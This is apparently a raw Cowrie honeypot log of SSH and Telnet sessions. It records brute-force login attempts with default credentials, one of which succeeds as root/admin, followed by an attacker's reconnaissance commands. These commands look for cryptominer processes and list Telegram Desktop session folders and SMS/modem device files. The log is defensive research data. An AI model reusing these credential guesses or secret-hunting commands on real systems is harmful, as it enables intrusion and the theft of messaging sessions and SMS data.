{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:05.508178Z","src_ip":"45.153.34.114","session":"214d9b528d96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123","message":"login attempt [ftpuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:05.771408Z","src_ip":"45.153.34.114","session":"214d9b528d96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:06.109323Z","src_ip":"115.140.161.61","session":"7ba47691e62d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":33866,"dst_ip":"159.203.135.109","dst_port":23,"session":"28c2e4167000","protocol":"telnet","message":"New connection: 74.91.213.120:33866 (159.203.135.109:23) [session: 28c2e4167000]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:06.264939Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":33868,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f7c1d38c1d6","protocol":"telnet","message":"New connection: 74.91.213.120:33868 (159.203.135.109:23) [session: 5f7c1d38c1d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:06.679485Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:06.860862Z","src_ip":"45.153.34.114","session":"214d9b528d96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":33450,"dst_ip":"159.203.135.109","dst_port":23,"session":"130d133be52c","protocol":"telnet","message":"New connection: 74.91.213.120:33450 (159.203.135.109:23) [session: 130d133be52c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:07.147282Z"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:07.320509Z","src_ip":"115.140.161.61","session":"7ba47691e62d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:07.779972Z","src_ip":"115.140.161.61","session":"7ba47691e62d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/ip cloud print","message":"CMD: /ip cloud print","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:07.784455Z","src_ip":"115.140.161.61","session":"7ba47691e62d","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"/ip cloud print","message":"Command not found: /ip cloud print","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:07.788711Z","src_ip":"115.140.161.61","session":"7ba47691e62d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/b846225e0081fa9151eb29ac62be1dea60bb9c567dba6c3ca3b1c6169b6d750d","size":30,"shasum":"b846225e0081fa9151eb29ac62be1dea60bb9c567dba6c3ca3b1c6169b6d750d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/b846225e0081fa9151eb29ac62be1dea60bb9c567dba6c3ca3b1c6169b6d750d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:08.002846Z","src_ip":"115.140.161.61","session":"7ba47691e62d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:08.459919Z","src_ip":"115.140.161.61","session":"7ba47691e62d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ifconfig","message":"CMD: ifconfig","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:08.463511Z","src_ip":"115.140.161.61","session":"7ba47691e62d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/1d6f385dd0e7ccc3ada3e24e973fd850470dbb222547ea0c1cb7c9f6d9e1dc5e","size":909,"shasum":"1d6f385dd0e7ccc3ada3e24e973fd850470dbb222547ea0c1cb7c9f6d9e1dc5e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/1d6f385dd0e7ccc3ada3e24e973fd850470dbb222547ea0c1cb7c9f6d9e1dc5e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:08.677885Z","src_ip":"115.140.161.61","session":"7ba47691e62d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:09.132906Z","src_ip":"115.140.161.61","session":"7ba47691e62d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:09.136875Z","src_ip":"115.140.161.61","session":"7ba47691e62d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:09.348137Z","src_ip":"115.140.161.61","session":"7ba47691e62d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:09.796382Z","src_ip":"115.140.161.61","session":"7ba47691e62d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo","message":"CMD: cat /proc/cpuinfo","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:09.799696Z","src_ip":"115.140.161.61","session":"7ba47691e62d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/52a532334011a67d1c41a57eea38ed25893bff4b6c264c748c3f2df576a47f4a","size":1192,"shasum":"52a532334011a67d1c41a57eea38ed25893bff4b6c264c748c3f2df576a47f4a","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/52a532334011a67d1c41a57eea38ed25893bff4b6c264c748c3f2df576a47f4a after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:10.012581Z","src_ip":"115.140.161.61","session":"7ba47691e62d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:10.477212Z","src_ip":"115.140.161.61","session":"7ba47691e62d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ps | grep '[Mm]iner'","message":"CMD: ps | grep '[Mm]iner'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:10.480270Z","src_ip":"115.140.161.61","session":"7ba47691e62d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4e9fdfe29ef2ada08ab1e29f7b3ef7d297dfa86d002069289e7a7ae21b343904","size":0,"shasum":"4e9fdfe29ef2ada08ab1e29f7b3ef7d297dfa86d002069289e7a7ae21b343904","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/4e9fdfe29ef2ada08ab1e29f7b3ef7d297dfa86d002069289e7a7ae21b343904 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:10.695758Z","src_ip":"115.140.161.61","session":"7ba47691e62d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:11.157346Z","src_ip":"115.140.161.61","session":"7ba47691e62d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ps -ef | grep '[Mm]iner'","message":"CMD: ps -ef | grep '[Mm]iner'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:11.159758Z","src_ip":"115.140.161.61","session":"7ba47691e62d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/e5cefcb1b141654b896106c8dc78ae972511ca8772b28e593dbe256993fa8437","size":0,"shasum":"e5cefcb1b141654b896106c8dc78ae972511ca8772b28e593dbe256993fa8437","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/e5cefcb1b141654b896106c8dc78ae972511ca8772b28e593dbe256993fa8437 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:11.371169Z","src_ip":"115.140.161.61","session":"7ba47691e62d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:11.830142Z","src_ip":"115.140.161.61","session":"7ba47691e62d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*","message":"CMD: ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:11.833968Z","src_ip":"115.140.161.61","session":"7ba47691e62d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/722079119c91e28374578deb867362aea3f1e9381c78fc96d6228dc393ea6c05","size":794,"shasum":"722079119c91e28374578deb867362aea3f1e9381c78fc96d6228dc393ea6c05","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/722079119c91e28374578deb867362aea3f1e9381c78fc96d6228dc393ea6c05 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:12.049196Z","src_ip":"115.140.161.61","session":"7ba47691e62d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.14012885093689,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:12.326433Z","src_ip":"74.91.213.120","session":"1363095d63d4","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:12.503347Z","src_ip":"115.140.161.61","session":"7ba47691e62d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"locate D877F783D5D3EF8Cs","message":"CMD: locate D877F783D5D3EF8Cs","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:12.505907Z","src_ip":"115.140.161.61","session":"7ba47691e62d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3fabfde4895f276b5d2448dc4d097af08b38b65d732145b525aab43e562d6bfa","size":0,"shasum":"3fabfde4895f276b5d2448dc4d097af08b38b65d732145b525aab43e562d6bfa","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/3fabfde4895f276b5d2448dc4d097af08b38b65d732145b525aab43e562d6bfa after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:12.802130Z","src_ip":"115.140.161.61","session":"7ba47691e62d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:13.256008Z","src_ip":"115.140.161.61","session":"7ba47691e62d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo Hi | cat -n","message":"CMD: echo Hi | cat -n","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:13.259388Z","src_ip":"115.140.161.61","session":"7ba47691e62d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3e8341eade715d716ae9fe37db380fb9cab5f953782fe691fcf3af29041a344e","size":11,"shasum":"3e8341eade715d716ae9fe37db380fb9cab5f953782fe691fcf3af29041a344e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3e8341eade715d716ae9fe37db380fb9cab5f953782fe691fcf3af29041a344e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:13.471276Z","src_ip":"115.140.161.61","session":"7ba47691e62d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":41228,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab33f52730d6","protocol":"ssh","message":"New connection: 45.153.34.114:41228 (159.203.135.109:22) [session: ab33f52730d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:13.780432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:13.787552Z","src_ip":"45.153.34.114","session":"ab33f52730d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":33460,"dst_ip":"159.203.135.109","dst_port":23,"session":"4dde5009610f","protocol":"telnet","message":"New connection: 74.91.213.120:33460 (159.203.135.109:23) [session: 4dde5009610f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:13.843727Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:13.868801Z","src_ip":"45.153.34.114","session":"ab33f52730d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456","message":"login attempt [ubuntu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:14.213510Z","src_ip":"45.153.34.114","session":"ab33f52730d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:15.309653Z","src_ip":"45.153.34.114","session":"ab33f52730d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":33472,"dst_ip":"159.203.135.109","dst_port":23,"session":"70ac94ca1d7c","protocol":"telnet","message":"New connection: 74.91.213.120:33472 (159.203.135.109:23) [session: 70ac94ca1d7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:15.974226Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":54246,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c8b2bc833b0","protocol":"telnet","message":"New connection: 74.91.213.120:54246 (159.203.135.109:23) [session: 2c8b2bc833b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:17.039156Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":54254,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9f3ca420cac","protocol":"telnet","message":"New connection: 74.91.213.120:54254 (159.203.135.109:23) [session: b9f3ca420cac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:18.077238Z"}
{"eventid":"cowrie.session.closed","duration":31.154099702835083,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:18.728773Z","src_ip":"74.91.213.120","session":"aabe786645d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.120078086853027,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:19.553093Z","src_ip":"74.91.213.120","session":"321e186bf68d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":54270,"dst_ip":"159.203.135.109","dst_port":23,"session":"a10589c87e20","protocol":"telnet","message":"New connection: 74.91.213.120:54270 (159.203.135.109:23) [session: a10589c87e20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:21.292642Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":55154,"dst_ip":"159.203.135.109","dst_port":22,"session":"d65ef1732adc","protocol":"ssh","message":"New connection: 45.153.34.114:55154 (159.203.135.109:22) [session: d65ef1732adc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:22.119329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:22.130340Z","src_ip":"45.153.34.114","session":"d65ef1732adc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.157533645629883,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:22.144958Z","src_ip":"74.91.213.120","session":"7a344b2c95e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:22.169555Z","src_ip":"43.224.125.54","session":"d8fe02caffcf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:22.213127Z","src_ip":"45.153.34.114","session":"d65ef1732adc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.320756196975708,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:22.297315Z","src_ip":"74.91.213.120","session":"d6ea2b39582b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"vpn","password":"vpn","message":"login attempt [vpn/vpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:22.540485Z","src_ip":"45.153.34.114","session":"d65ef1732adc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":54274,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8ec7aa00bfe","protocol":"telnet","message":"New connection: 74.91.213.120:54274 (159.203.135.109:23) [session: c8ec7aa00bfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:22.875570Z"}
{"eventid":"cowrie.session.closed","duration":30.30886483192444,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:23.286425Z","src_ip":"74.91.213.120","session":"9a222cae48eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:23.631699Z","src_ip":"45.153.34.114","session":"d65ef1732adc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":54280,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb3d10f393f1","protocol":"telnet","message":"New connection: 74.91.213.120:54280 (159.203.135.109:23) [session: fb3d10f393f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:23.672780Z"}
{"eventid":"cowrie.session.closed","duration":31.13158130645752,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:25.113305Z","src_ip":"74.91.213.120","session":"a8d1abf076aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.137790203094482,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:25.469263Z","src_ip":"74.91.213.120","session":"008b300132a3","protocol":"telnet"}
